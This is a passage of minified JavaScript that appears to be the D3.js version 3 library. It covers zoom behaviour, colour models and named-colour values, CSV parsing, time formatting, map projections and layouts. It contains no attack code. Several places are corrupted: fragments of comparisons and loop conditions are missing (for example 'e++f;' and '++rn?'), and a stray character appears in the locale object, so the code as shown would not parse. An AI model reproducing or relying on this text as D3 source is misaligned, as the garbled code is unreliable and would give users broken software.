n()}ao.selectAll(_).on(m,null),w.on(L,s).on(R,h),N(),f(v)}var p,g=this,v=D.of(g,arguments),d={},y=0,m=".zoom-"+ao.event.changedTouches[0].identifier,x="touchmove"+m,b="touchend"+m,_=[],w=ao.select(g),N=W(g);t(),l(v),w.on(L,null).on(R,t)}function p(){var n=D.of(this,arguments);m?clearTimeout(m):(Il.call(this),v=e(d=y||ao.mouse(this)),l(n)),m=setTimeout(function(){m=null,f(n)},50),S(),i(Math.pow(2,.002*Bo())*k.k),u(d,v),c(n)}function g(){var n=ao.mouse(this),t=Math.log(k.k)/Math.LN2;o(this,n,e(n),ao.event.shiftKey?Math.ceil(t)-1:Math.floor(t)+1)}var v,d,y,m,M,x,b,_,w,k={x:0,y:0,k:1},E=[960,500],A=Jo,C=250,z=0,L="mousedown.zoom",q="mousemove.zoom",T="mouseup.zoom",R="touchstart.zoom",D=N(n,"zoomstart","zoom","zoomend");return Wo||(Wo="onwheel"in fo?(Bo=function(){return-ao.event.deltaY*(ao.event.deltaMode?120:1)},"wheel"):"onmousewheel"in fo?(Bo=function(){return ao.event.wheelDelta},"mousewheel"):(Bo=function(){return-ao.event.detail},"MozMousePixelScroll")),n.event=function(n){n.each(function(){var n=D.of(this,arguments),t=k;Hl?ao.select(this).transition().each("start.zoom",function(){k=this.__chart__||{x:0,y:0,k:1},l(n)}).tween("zoom:zoom",function(){var e=E[0],r=E[1],i=d?d[0]:e/2,u=d?d[1]:r/2,o=ao.interpolateZoom([(i-k.x)/k.k,(u-k.y)/k.k,e/k.k],[(i-t.x)/t.k,(u-t.y)/t.k,e/t.k]);return function(t){var r=o(t),a=e/r[2];this.__chart__=k={x:i-r[0]*a,y:u-r[1]*a,k:a},c(n)}}).each("interrupt.zoom",function(){f(n)}).each("end.zoom",function(){f(n)}):(this.__chart__=k,l(n),c(n),f(n))})},n.translate=function(t){return arguments.length?(k={x:+t[0],y:+t[1],k:k.k},a(),n):[k.x,k.y]},n.scale=function(t){return arguments.length?(k={x:k.x,y:k.y,k:null},i(+t),a(),n):k.k},n.scaleExtent=function(t){return arguments.length?(A=null==t?Jo:[+t[0],+t[1]],n):A},n.center=function(t){return arguments.length?(y=t&&[+t[0],+t[1]],n):y},n.size=function(t){return arguments.length?(E=t&&[+t[0],+t[1]],n):E},n.duration=function(t){return arguments.length?(C=+t,n):C},n.x=function(t){return arguments.length?(b=t,x=t.copy(),k={x:0,y:0,k:1},n):b},n.y=function(t){return arguments.length?(w=t,_=t.copy(),k={x:0,y:0,k:1},n):w},ao.rebind(n,D,"on")};var Bo,Wo,Jo=[0,1/0];ao.color=an,an.prototype.toString=function(){return this.rgb()+""},ao.hsl=ln;var Go=ln.prototype=new an;Go.brighter=function(n){return n=Math.pow(.7,arguments.length?n:1),new ln(this.h,this.s,this.l/n)},Go.darker=function(n){return n=Math.pow(.7,arguments.length?n:1),new ln(this.h,this.s,n*this.l)},Go.rgb=function(){return cn(this.h,this.s,this.l)},ao.hcl=fn;var Ko=fn.prototype=new an;Ko.brighter=function(n){return new fn(this.h,this.c,Math.min(100,this.l+Qo*(arguments.length?n:1)))},Ko.darker=function(n){return new fn(this.h,this.c,Math.max(0,this.l-Qo*(arguments.length?n:1)))},Ko.rgb=function(){return sn(this.h,this.c,this.l).rgb()},ao.lab=hn;var Qo=18,na=.95047,ta=1,ea=1.08883,ra=hn.prototype=new an;ra.brighter=function(n){return new hn(Math.min(100,this.l+Qo*(arguments.length?n:1)),this.a,this.b)},ra.darker=function(n){return new hn(Math.max(0,this.l-Qo*(arguments.length?n:1)),this.a,this.b)},ra.rgb=function(){return pn(this.l,this.a,this.b)},ao.rgb=mn;var ia=mn.prototype=new an;ia.brighter=function(n){n=Math.pow(.7,arguments.length?n:1);var t=this.r,e=this.g,r=this.b,i=30;return t||e||r?(t&&i>t&&(t=i),e&&i>e&&(e=i),r&&i>r&&(r=i),new mn(Math.min(255,t/n),Math.min(255,e/n),Math.min(255,r/n))):new mn(i,i,i)},ia.darker=function(n){return n=Math.pow(.7,arguments.length?n:1),new mn(n*this.r,n*this.g,n*this.b)},ia.hsl=function(){return wn(this.r,this.g,this.b)},ia.toString=function(){return"#"+bn(this.r)+bn(this.g)+bn(this.b)};var ua=ao.map({aliceblue:15792383,antiquewhite:16444375,aqua:65535,aquamarine:8388564,azure:15794175,beige:16119260,bisque:16770244,black:0,blanchedalmond:16772045,blue:255,blueviolet:9055202,brown:10824234,burlywood:14596231,cadetblue:6266528,chartreuse:8388352,chocolate:13789470,coral:16744272,cornflowerblue:6591981,cornsilk:16775388,crimson:14423100,cyan:65535,darkblue:139,darkcyan:35723,darkgoldenrod:12092939,darkgray:11119017,darkgreen:25600,darkgrey:11119017,darkkhaki:12433259,darkmagenta:9109643,darkolivegreen:5597999,darkorange:16747520,darkorchid:10040012,darkred:9109504,darksalmon:15308410,darkseagreen:9419919,darkslateblue:4734347,darkslategray:3100495,darkslategrey:3100495,darkturquoise:52945,darkviolet:9699539,deeppink:16716947,deepskyblue:49151,dimgray:6908265,dimgrey:6908265,dodgerblue:2003199,firebrick:11674146,floralwhite:16775920,forestgreen:2263842,fuchsia:16711935,gainsboro:14474460,ghostwhite:16316671,gold:16766720,goldenrod:14329120,gray:8421504,green:32768,greenyellow:11403055,grey:8421504,honeydew:15794160,hotpink:16738740,indianred:13458524,indigo:4915330,ivory:16777200,khaki:15787660,lavender:15132410,lavenderblush:16773365,lawngreen:8190976,lemonchiffon:16775885,lightblue:11393254,lightcoral:15761536,lightcyan:14745599,lightgoldenrodyellow:16448210,lightgray:13882323,lightgreen:9498256,lightgrey:13882323,lightpink:16758465,lightsalmon:16752762,lightseagreen:2142890,lightskyblue:8900346,lightslategray:7833753,lightslategrey:7833753,lightsteelblue:11584734,lightyellow:16777184,lime:65280,limegreen:3329330,linen:16445670,magenta:16711935,maroon:8388608,mediumaquamarine:6737322,mediumblue:205,mediumorchid:12211667,mediumpurple:9662683,mediumseagreen:3978097,mediumslateblue:8087790,mediumspringgreen:64154,mediumturquoise:4772300,mediumvioletred:13047173,midnightblue:1644912,mintcream:16121850,mistyrose:16770273,moccasin:16770229,navajowhite:16768685,navy:128,oldlace:16643558,olive:8421376,olivedrab:7048739,orange:16753920,orangered:16729344,orchid:14315734,palegoldenrod:15657130,palegreen:10025880,paleturquoise:11529966,palevioletred:14381203,papayawhip:16773077,peachpuff:16767673,peru:13468991,pink:16761035,plum:14524637,powderblue:11591910,purple:8388736,rebeccapurple:6697881,red:16711680,rosybrown:12357519,royalblue:4286945,saddlebrown:9127187,salmon:16416882,sandybrown:16032864,seagreen:3050327,seashell:16774638,sienna:10506797,silver:12632256,skyblue:8900331,slateblue:6970061,slategray:7372944,slategrey:7372944,snow:16775930,springgreen:65407,steelblue:4620980,tan:13808780,teal:32896,thistle:14204888,tomato:16737095,turquoise:4251856,violet:15631086,wheat:16113331,white:16777215,whitesmoke:16119285,yellow:16776960,yellowgreen:10145074});ua.forEach(function(n,t){ua.set(n,Mn(t))}),ao.functor=En,ao.xhr=An(m),ao.dsv=function(n,t){function e(n,e,u){arguments.length<3&&(u=e,e=null);var o=Cn(n,t,null==e?r:i(e),u);return o.row=function(n){return arguments.length?o.response(null==(e=n)?r:i(n)):e},o}function r(n){return e.parse(n.responseText)}function i(n){return function(t){return e.parse(t.responseText,n)}}function u(t){return t.map(o).join(n)}function o(n){return a.test(n)?'"'+n.replace(/\"/g,'""')+'"':n}var a=new RegExp('["'+n+"\n]"),l=n.charCodeAt(0);return e.parse=function(n,t){var r;return e.parseRows(n,function(n,e){if(r)return r(n,e-1);var i=new Function("d","return {"+n.map(function(n,t){return JSON.stringify(n)+": d["+t+"]"}).join(",")+"}");r=t?function(n,e){return t(i(n),e)}:i})},e.parseRows=function(n,t){function e(){if(f>=c)return o;if(i)return i=!1,u;var t=f;if(34===n.charCodeAt(t)){for(var e=t;e++f;){var r=n.charCodeAt(f++),a=1;if(10===r)i=!0;else if(13===r)i=!0,10===n.charCodeAt(f)&&(++f,++a);else if(r!==l)continue;return n.slice(t,f-a)}return n.slice(t)}for(var r,i,u={},o={},a=[],c=n.length,f=0,s=0;(r=e())!==o;){for(var h=[];r!==u&&r!==o;)h.push(r),r=e();t&&null==(h=t(h,s++))||a.push(h)}return a},e.format=function(t){if(Array.isArray(t[0]))return e.formatRows(t);var r=new y,i=[];return t.forEach(function(n){for(var t in n)r.has(t)||i.push(r.add(t))}),[i.map(o).join(n)].concat(t.map(function(t){return i.map(function(n){return o(t[n])}).join(n)})).join("\n")},e.formatRows=function(n){return n.map(u).join("\n")},e},ao.csv=ao.dsv(",","text/csv"),ao.tsv=ao.dsv(" ","text/tab-separated-values");var oa,aa,la,ca,fa=this[x(this,"requestAnimationFrame")]||function(n){setTimeout(n,17)};ao.timer=function(){qn.apply(this,arguments)},ao.timer.flush=function(){Rn(),Dn()},ao.round=function(n,t){return t?Math.round(n*(t=Math.pow(10,t)))/t:Math.round(n)};var sa=["y","z","a","f","p","n","\xb5","m","","k","M","G","T","P","E","Z","Y"].map(Un);ao.formatPrefix=function(n,t){var e=0;return(n=+n)&&(0>n&&(n*=-1),t&&(n=ao.round(n,Pn(n,t))),e=1+Math.floor(1e-12+Math.log(n)/Math.LN10),e=Math.max(-24,Math.min(24,3*Math.floor((e-1)/3)))),sa[8+e/3]};var ha=/(?:([^{])?([<>=^]))?([+\- ])?([$#])?(0)?(\d+)?(,)?(\.-?\d+)?([a-z%])?/i,pa=ao.map({b:function(n){return n.toString(2)},c:function(n){return String.fromCharCode(n)},o:function(n){return n.toString(8)},x:function(n){return n.toString(16)},X:function(n){return n.toString(16).toUpperCase()},g:function(n,t){return n.toPrecision(t)},e:function(n,t){return n.toExponential(t)},f:function(n,t){return n.toFixed(t)},r:function(n,t){return(n=ao.round(n,Pn(n,t))).toFixed(Math.max(0,Math.min(20,Pn(n*(1+1e-15),t))))}}),ga=ao.time={},va=Date;Hn.prototype={getDate:function(){return this._.getUTCDate()},getDay:function(){return this._.getUTCDay()},getFullYear:function(){return this._.getUTCFullYear()},getHours:function(){return this._.getUTCHours()},getMilliseconds:function(){return this._.getUTCMilliseconds()},getMinutes:function(){return this._.getUTCMinutes()},getMonth:function(){return this._.getUTCMonth()},getSeconds:function(){return this._.getUTCSeconds()},getTime:function(){return this._.getTime()},getTimezoneOffset:function(){return 0},valueOf:function(){return this._.valueOf()},setDate:function(){da.setUTCDate.apply(this._,arguments)},setDay:function(){da.setUTCDay.apply(this._,arguments)},setFullYear:function(){da.setUTCFullYear.apply(this._,arguments)},setHours:function(){da.setUTCHours.apply(this._,arguments)},setMilliseconds:function(){da.setUTCMilliseconds.apply(this._,arguments)},setMinutes:function(){da.setUTCMinutes.apply(this._,arguments)},setMonth:function(){da.setUTCMonth.apply(this._,arguments)},setSeconds:function(){da.setUTCSeconds.apply(this._,arguments)},setTime:function(){da.setTime.apply(this._,arguments)}};var da=Date.prototype;ga.year=On(function(n){return n=ga.day(n),n.setMonth(0,1),n},function(n,t){n.setFullYear(n.getFullYear()+t)},function(n){return n.getFullYear()}),ga.years=ga.year.range,ga.years.utc=ga.year.utc.range,ga.day=On(function(n){var t=new va(2e3,0);return t.setFullYear(n.getFullYear(),n.getMonth(),n.getDate()),t},function(n,t){n.setDate(n.getDate()+t)},function(n){return n.getDate()-1}),ga.days=ga.day.range,ga.days.utc=ga.day.utc.range,ga.dayOfYear=function(n){var t=ga.year(n);return Math.floor((n-t-6e4*(n.getTimezoneOffset()-t.getTimezoneOffset()))/864e5)},["sunday","monday","tuesday","wednesday","thursday","friday","saturday"].forEach(function(n,t){t=7-t;var e=ga[n]=On(function(n){return(n=ga.day(n)).setDate(n.getDate()-(n.getDay()+t)%7),n},function(n,t){n.setDate(n.getDate()+7*Math.floor(t))},function(n){var e=ga.year(n).getDay();return Math.floor((ga.dayOfYear(n)+(e+t)%7)/7)-(e!==t)});ga[n+"s"]=e.range,ga[n+"s"].utc=e.utc.range,ga[n+"OfYear"]=function(n){var e=ga.year(n).getDay();return Math.floor((ga.dayOfYear(n)+(e+t)%7)/7)}}),ga.week=ga.sunday,ga.weeks=ga.sunday.range,ga.weeks.utc=ga.sunday.utc.range,ga.weekOfYear=ga.sundayOfYear;var ya={"-":"",_:" ",0:"0"},ma=/^\s*\d+/,Ma=/^%/;ao.locale=function(n){return{numberFormat:jn(n),timeFormat:Yn(n)}};var xa=ao.locale({decimal:".",thousands:",",grouping:[3],currency:["$",""],dateTime:"%a %b %e %X %Y",date:"%m/%d/%Y",time:"%H:%M:%S",periods:["AM","PM"],days:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"], -shortDays:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],months:["January","February","March","April","May","June","July","August","September","October","November","December"],shortMonths:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"]});ao.format=xa.numberFormat,ao.geo={},ft.prototype={s:0,t:0,add:function(n){st(n,this.t,ba),st(ba.s,this.s,this),this.s?this.t+=ba.t:this.s=ba.t},reset:function(){this.s=this.t=0},valueOf:function(){return this.s}};var ba=new ft;ao.geo.stream=function(n,t){n&&_a.hasOwnProperty(n.type)?_a[n.type](n,t):ht(n,t)};var _a={Feature:function(n,t){ht(n.geometry,t)},FeatureCollection:function(n,t){for(var e=n.features,r=-1,i=e.length;++rn?4*Fo+n:n,Na.lineStart=Na.lineEnd=Na.point=b}};ao.geo.bounds=function(){function n(n,t){M.push(x=[f=n,h=n]),s>t&&(s=t),t>p&&(p=t)}function t(t,e){var r=dt([t*Yo,e*Yo]);if(y){var i=mt(y,r),u=[i[1],-i[0],0],o=mt(u,i);bt(o),o=_t(o);var l=t-g,c=l>0?1:-1,v=o[0]*Zo*c,d=xo(l)>180;if(d^(v>c*g&&c*t>v)){var m=o[1]*Zo;m>p&&(p=m)}else if(v=(v+360)%360-180,d^(v>c*g&&c*t>v)){var m=-o[1]*Zo;s>m&&(s=m)}else s>e&&(s=e),e>p&&(p=e);d?g>t?a(f,t)>a(f,h)&&(h=t):a(t,h)>a(f,h)&&(f=t):h>=f?(f>t&&(f=t),t>h&&(h=t)):t>g?a(f,t)>a(f,h)&&(h=t):a(t,h)>a(f,h)&&(f=t)}else n(t,e);y=r,g=t}function e(){b.point=t}function r(){x[0]=f,x[1]=h,b.point=n,y=null}function i(n,e){if(y){var r=n-g;m+=xo(r)>180?r+(r>0?360:-360):r}else v=n,d=e;Na.point(n,e),t(n,e)}function u(){Na.lineStart()}function o(){i(v,d),Na.lineEnd(),xo(m)>Uo&&(f=-(h=180)),x[0]=f,x[1]=h,y=null}function a(n,t){return(t-=n)<0?t+360:t}function l(n,t){return n[0]-t[0]}function c(n,t){return t[0]<=t[1]?t[0]<=n&&n<=t[1]:nka?(f=-(h=180),s=-(p=90)):m>Uo?p=90:-Uo>m&&(s=-90),x[0]=f,x[1]=h}};return function(n){p=h=-(f=s=1/0),M=[],ao.geo.stream(n,b);var t=M.length;if(t){M.sort(l);for(var e,r=1,i=M[0],u=[i];t>r;++r)e=M[r],c(e[0],i)||c(e[1],i)?(a(i[0],e[1])>a(i[0],i[1])&&(i[1]=e[1]),a(e[0],i[1])>a(i[0],i[1])&&(i[0]=e[0])):u.push(i=e);for(var o,e,g=-(1/0),t=u.length-1,r=0,i=u[t];t>=r;i=e,++r)e=u[r],(o=a(i[1],e[0]))>g&&(g=o,f=e[0],h=i[1])}return M=x=null,f===1/0||s===1/0?[[NaN,NaN],[NaN,NaN]]:[[f,s],[h,p]]}}(),ao.geo.centroid=function(n){Ea=Aa=Ca=za=La=qa=Ta=Ra=Da=Pa=Ua=0,ao.geo.stream(n,ja);var t=Da,e=Pa,r=Ua,i=t*t+e*e+r*r;return jo>i&&(t=qa,e=Ta,r=Ra,Uo>Aa&&(t=Ca,e=za,r=La),i=t*t+e*e+r*r,jo>i)?[NaN,NaN]:[Math.atan2(e,t)*Zo,tn(r/Math.sqrt(i))*Zo]};var Ea,Aa,Ca,za,La,qa,Ta,Ra,Da,Pa,Ua,ja={sphere:b,point:St,lineStart:Nt,lineEnd:Et,polygonStart:function(){ja.lineStart=At},polygonEnd:function(){ja.lineStart=Nt}},Fa=Rt(zt,jt,Ht,[-Fo,-Fo/2]),Ha=1e9;ao.geo.clipExtent=function(){var n,t,e,r,i,u,o={stream:function(n){return i&&(i.valid=!1),i=u(n),i.valid=!0,i},extent:function(a){return arguments.length?(u=Zt(n=+a[0][0],t=+a[0][1],e=+a[1][0],r=+a[1][1]),i&&(i.valid=!1,i=null),o):[[n,t],[e,r]]}};return o.extent([[0,0],[960,500]])},(ao.geo.conicEqualArea=function(){return Vt(Xt)}).raw=Xt,ao.geo.albers=function(){return ao.geo.conicEqualArea().rotate([96,0]).center([-.6,38.7]).parallels([29.5,45.5]).scale(1070)},ao.geo.albersUsa=function(){function n(n){var u=n[0],o=n[1];return t=null,e(u,o),t||(r(u,o),t)||i(u,o),t}var t,e,r,i,u=ao.geo.albers(),o=ao.geo.conicEqualArea().rotate([154,0]).center([-2,58.5]).parallels([55,65]),a=ao.geo.conicEqualArea().rotate([157,0]).center([-3,19.9]).parallels([8,18]),l={point:function(n,e){t=[n,e]}};return n.invert=function(n){var t=u.scale(),e=u.translate(),r=(n[0]-e[0])/t,i=(n[1]-e[1])/t;return(i>=.12&&.234>i&&r>=-.425&&-.214>r?o:i>=.166&&.234>i&&r>=-.214&&-.115>r?a:u).invert(n)},n.stream=function(n){var t=u.stream(n),e=o.stream(n),r=a.stream(n);return{point:function(n,i){t.point(n,i),e.point(n,i),r.point(n,i)},sphere:function(){t.sphere(),e.sphere(),r.sphere()},lineStart:function(){t.lineStart(),e.lineStart(),r.lineStart()},lineEnd:function(){t.lineEnd(),e.lineEnd(),r.lineEnd()},polygonStart:function(){t.polygonStart(),e.polygonStart(),r.polygonStart()},polygonEnd:function(){t.polygonEnd(),e.polygonEnd(),r.polygonEnd()}}},n.precision=function(t){return arguments.length?(u.precision(t),o.precision(t),a.precision(t),n):u.precision()},n.scale=function(t){return arguments.length?(u.scale(t),o.scale(.35*t),a.scale(t),n.translate(u.translate())):u.scale()},n.translate=function(t){if(!arguments.length)return u.translate();var c=u.scale(),f=+t[0],s=+t[1];return e=u.translate(t).clipExtent([[f-.455*c,s-.238*c],[f+.455*c,s+.238*c]]).stream(l).point,r=o.translate([f-.307*c,s+.201*c]).clipExtent([[f-.425*c+Uo,s+.12*c+Uo],[f-.214*c-Uo,s+.234*c-Uo]]).stream(l).point,i=a.translate([f-.205*c,s+.212*c]).clipExtent([[f-.214*c+Uo,s+.166*c+Uo],[f-.115*c-Uo,s+.234*c-Uo]]).stream(l).point,n},n.scale(1070)};var Oa,Ia,Ya,Za,Va,Xa,$a={point:b,lineStart:b,lineEnd:b,polygonStart:function(){Ia=0,$a.lineStart=$t},polygonEnd:function(){$a.lineStart=$a.lineEnd=$a.point=b,Oa+=xo(Ia/2)}},Ba={point:Bt,lineStart:b,lineEnd:b,polygonStart:b,polygonEnd:b},Wa={point:Gt,lineStart:Kt,lineEnd:Qt,polygonStart:function(){Wa.lineStart=ne},polygonEnd:function(){Wa.point=Gt,Wa.lineStart=Kt,Wa.lineEnd=Qt}};ao.geo.path=function(){function n(n){return n&&("function"==typeof a&&u.pointRadius(+a.apply(this,arguments)),o&&o.valid||(o=i(u)),ao.geo.stream(n,o)),u.result()}function t(){return o=null,n}var e,r,i,u,o,a=4.5;return n.area=function(n){return Oa=0,ao.geo.stream(n,i($a)),Oa},n.centroid=function(n){return Ca=za=La=qa=Ta=Ra=Da=Pa=Ua=0,ao.geo.stream(n,i(Wa)),Ua?[Da/Ua,Pa/Ua]:Ra?[qa/Ra,Ta/Ra]:La?[Ca/La,za/La]:[NaN,NaN]},n.bounds=function(n){return Va=Xa=-(Ya=Za=1/0),ao.geo.stream(n,i(Ba)),[[Ya,Za],[Va,Xa]]},n.projection=function(n){return arguments.length?(i=(e=n)?n.stream||re(n):m,t()):e},n.context=function(n){return arguments.length?(u=null==(r=n)?new Wt:new te(n),"function"!=typeof a&&u.pointRadius(a),t()):r},n.pointRadius=function(t){return arguments.length?(a="function"==typeof t?t:(u.pointRadius(+t),+t),n):a},n.projection(ao.geo.albersUsa()).context(null)},ao.geo.transform=function(n){return{stream:function(t){var e=new ie(t);for(var r in n)e[r]=n[r];return e}}},ie.prototype={point:function(n,t){this.stream.point(n,t)},sphere:function(){this.stream.sphere()},lineStart:function(){this.stream.lineStart()},lineEnd:function(){this.stream.lineEnd()},polygonStart:function(){this.stream.polygonStart()},polygonEnd:function(){this.stream.polygonEnd()}},ao.geo.projection=oe,ao.geo.projectionMutator=ae,(ao.geo.equirectangular=function(){return oe(ce)}).raw=ce.invert=ce,ao.geo.rotation=function(n){function t(t){return t=n(t[0]*Yo,t[1]*Yo),t[0]*=Zo,t[1]*=Zo,t}return n=se(n[0]%360*Yo,n[1]*Yo,n.length>2?n[2]*Yo:0),t.invert=function(t){return t=n.invert(t[0]*Yo,t[1]*Yo),t[0]*=Zo,t[1]*=Zo,t},t},fe.invert=ce,ao.geo.circle=function(){function n(){var n="function"==typeof r?r.apply(this,arguments):r,t=se(-n[0]*Yo,-n[1]*Yo,0).invert,i=[];return e(null,null,1,{point:function(n,e){i.push(n=t(n,e)),n[0]*=Zo,n[1]*=Zo}}),{type:"Polygon",coordinates:[i]}}var t,e,r=[0,0],i=6;return n.origin=function(t){return arguments.length?(r=t,n):r},n.angle=function(r){return arguments.length?(e=ve((t=+r)*Yo,i*Yo),n):t},n.precision=function(r){return arguments.length?(e=ve(t*Yo,(i=+r)*Yo),n):i},n.angle(90)},ao.geo.distance=function(n,t){var e,r=(t[0]-n[0])*Yo,i=n[1]*Yo,u=t[1]*Yo,o=Math.sin(r),a=Math.cos(r),l=Math.sin(i),c=Math.cos(i),f=Math.sin(u),s=Math.cos(u);return Math.atan2(Math.sqrt((e=s*o)*e+(e=c*f-l*s*a)*e),l*f+c*s*a)},ao.geo.graticule=function(){function n(){return{type:"MultiLineString",coordinates:t()}}function t(){return ao.range(Math.ceil(u/d)*d,i,d).map(h).concat(ao.range(Math.ceil(c/y)*y,l,y).map(p)).concat(ao.range(Math.ceil(r/g)*g,e,g).filter(function(n){return xo(n%d)>Uo}).map(f)).concat(ao.range(Math.ceil(a/v)*v,o,v).filter(function(n){return xo(n%y)>Uo}).map(s))}var e,r,i,u,o,a,l,c,f,s,h,p,g=10,v=g,d=90,y=360,m=2.5;return n.lines=function(){return t().map(function(n){return{type:"LineString",coordinates:n}})},n.outline=function(){return{type:"Polygon",coordinates:[h(u).concat(p(l).slice(1),h(i).reverse().slice(1),p(c).reverse().slice(1))]}},n.extent=function(t){return arguments.length?n.majorExtent(t).minorExtent(t):n.minorExtent()},n.majorExtent=function(t){return arguments.length?(u=+t[0][0],i=+t[1][0],c=+t[0][1],l=+t[1][1],u>i&&(t=u,u=i,i=t),c>l&&(t=c,c=l,l=t),n.precision(m)):[[u,c],[i,l]]},n.minorExtent=function(t){return arguments.length?(r=+t[0][0],e=+t[1][0],a=+t[0][1],o=+t[1][1],r>e&&(t=r,r=e,e=t),a>o&&(t=a,a=o,o=t),n.precision(m)):[[r,a],[e,o]]},n.step=function(t){return arguments.length?n.majorStep(t).minorStep(t):n.minorStep()},n.majorStep=function(t){return arguments.length?(d=+t[0],y=+t[1],n):[d,y]},n.minorStep=function(t){return arguments.length?(g=+t[0],v=+t[1],n):[g,v]},n.precision=function(t){return arguments.length?(m=+t,f=ye(a,o,90),s=me(r,e,m),h=ye(c,l,90),p=me(u,i,m),n):m},n.majorExtent([[-180,-90+Uo],[180,90-Uo]]).minorExtent([[-180,-80-Uo],[180,80+Uo]])},ao.geo.greatArc=function(){function n(){return{type:"LineString",coordinates:[t||r.apply(this,arguments),e||i.apply(this,arguments)]}}var t,e,r=Me,i=xe;return n.distance=function(){return ao.geo.distance(t||r.apply(this,arguments),e||i.apply(this,arguments))},n.source=function(e){return arguments.length?(r=e,t="function"==typeof e?null:e,n):r},n.target=function(t){return arguments.length?(i=t,e="function"==typeof t?null:t,n):i},n.precision=function(){return arguments.length?n:0},n},ao.geo.interpolate=function(n,t){return be(n[0]*Yo,n[1]*Yo,t[0]*Yo,t[1]*Yo)},ao.geo.length=function(n){return Ja=0,ao.geo.stream(n,Ga),Ja};var Ja,Ga={sphere:b,point:b,lineStart:_e,lineEnd:b,polygonStart:b,polygonEnd:b},Ka=we(function(n){return Math.sqrt(2/(1+n))},function(n){return 2*Math.asin(n/2)});(ao.geo.azimuthalEqualArea=function(){return oe(Ka)}).raw=Ka;var Qa=we(function(n){var t=Math.acos(n);return t&&t/Math.sin(t)},m);(ao.geo.azimuthalEquidistant=function(){return oe(Qa)}).raw=Qa,(ao.geo.conicConformal=function(){return Vt(Se)}).raw=Se,(ao.geo.conicEquidistant=function(){return Vt(ke)}).raw=ke;var nl=we(function(n){return 1/n},Math.atan);(ao.geo.gnomonic=function(){return oe(nl)}).raw=nl,Ne.invert=function(n,t){return[n,2*Math.atan(Math.exp(t))-Io]},(ao.geo.mercator=function(){return Ee(Ne)}).raw=Ne;var tl=we(function(){return 1},Math.asin);(ao.geo.orthographic=function(){return oe(tl)}).raw=tl;var el=we(function(n){return 1/(1+n)},function(n){return 2*Math.atan(n)});(ao.geo.stereographic=function(){return oe(el)}).raw=el,Ae.invert=function(n,t){return[-t,2*Math.atan(Math.exp(n))-Io]},(ao.geo.transverseMercator=function(){var n=Ee(Ae),t=n.center,e=n.rotate;return n.center=function(n){return n?t([-n[1],n[0]]):(n=t(),[n[1],-n[0]])},n.rotate=function(n){return n?e([n[0],n[1],n.length>2?n[2]+90:90]):(n=e(),[n[0],n[1],n[2]-90])},e([0,0,90])}).raw=Ae,ao.geom={},ao.geom.hull=function(n){function t(n){if(n.length<3)return[];var t,i=En(e),u=En(r),o=n.length,a=[],l=[];for(t=0;o>t;t++)a.push([+i.call(this,n[t],t),+u.call(this,n[t],t),t]);for(a.sort(qe),t=0;o>t;t++)l.push([a[t][0],-a[t][1]]);var c=Le(a),f=Le(l),s=f[0]===c[0],h=f[f.length-1]===c[c.length-1],p=[];for(t=c.length-1;t>=0;--t)p.push(n[a[c[t]][2]]);for(t=+s;t=r&&c.x<=u&&c.y>=i&&c.y<=o?[[r,o],[u,o],[u,i],[r,i]]:[];f.point=n[a]}),t}function e(n){return n.map(function(n,t){return{x:Math.round(u(n,t)/Uo)*Uo,y:Math.round(o(n,t)/Uo)*Uo,i:t}})}var r=Ce,i=ze,u=r,o=i,a=sl;return n?t(n):(t.links=function(n){return ar(e(n)).edges.filter(function(n){return n.l&&n.r}).map(function(t){return{source:n[t.l.i],target:n[t.r.i]}})},t.triangles=function(n){var t=[];return ar(e(n)).cells.forEach(function(e,r){for(var i,u,o=e.site,a=e.edges.sort(Ve),l=-1,c=a.length,f=a[c-1].edge,s=f.l===o?f.r:f.l;++l=c,h=r>=f,p=h<<1|s;n.leaf=!1,n=n.nodes[p]||(n.nodes[p]=hr()),s?i=c:a=c,h?o=f:l=f,u(n,t,e,r,i,o,a,l)}var f,s,h,p,g,v,d,y,m,M=En(a),x=En(l);if(null!=t)v=t,d=e,y=r,m=i;else if(y=m=-(v=d=1/0),s=[],h=[],g=n.length,o)for(p=0;g>p;++p)f=n[p],f.xy&&(y=f.x),f.y>m&&(m=f.y),s.push(f.x),h.push(f.y);else for(p=0;g>p;++p){var b=+M(f=n[p],p),_=+x(f,p);v>b&&(v=b),d>_&&(d=_),b>y&&(y=b),_>m&&(m=_),s.push(b),h.push(_)}var w=y-v,S=m-d;w>S?m=d+w:y=v+S;var k=hr();if(k.add=function(n){u(k,n,+M(n,++p),+x(n,p),v,d,y,m)},k.visit=function(n){pr(n,k,v,d,y,m)},k.find=function(n){return gr(k,n[0],n[1],v,d,y,m)},p=-1,null==t){for(;++p=0?n.slice(0,t):n,r=t>=0?n.slice(t+1):"in";return e=vl.get(e)||gl,r=dl.get(r)||m,br(r(e.apply(null,lo.call(arguments,1))))},ao.interpolateHcl=Rr,ao.interpolateHsl=Dr,ao.interpolateLab=Pr,ao.interpolateRound=Ur,ao.transform=function(n){var t=fo.createElementNS(ao.ns.prefix.svg,"g");return(ao.transform=function(n){if(null!=n){t.setAttribute("transform",n);var e=t.transform.baseVal.consolidate()}return new jr(e?e.matrix:yl)})(n)},jr.prototype.toString=function(){return"translate("+this.translate+")rotate("+this.rotate+")skewX("+this.skew+")scale("+this.scale+")"};var yl={a:1,b:0,c:0,d:1,e:0,f:0};ao.interpolateTransform=$r,ao.layout={},ao.layout.bundle=function(){return function(n){for(var t=[],e=-1,r=n.length;++ea*a/y){if(v>l){var c=t.charge/l;n.px-=u*c,n.py-=o*c}return!0}if(t.point&&l&&v>l){var c=t.pointCharge/l;n.px-=u*c,n.py-=o*c}}return!t.charge}}function t(n){n.px=ao.event.x,n.py=ao.event.y,l.resume()}var e,r,i,u,o,a,l={},c=ao.dispatch("start","tick","end"),f=[1,1],s=.9,h=ml,p=Ml,g=-30,v=xl,d=.1,y=.64,M=[],x=[];return l.tick=function(){if((i*=.99)<.005)return e=null,c.end({type:"end",alpha:i=0}),!0;var 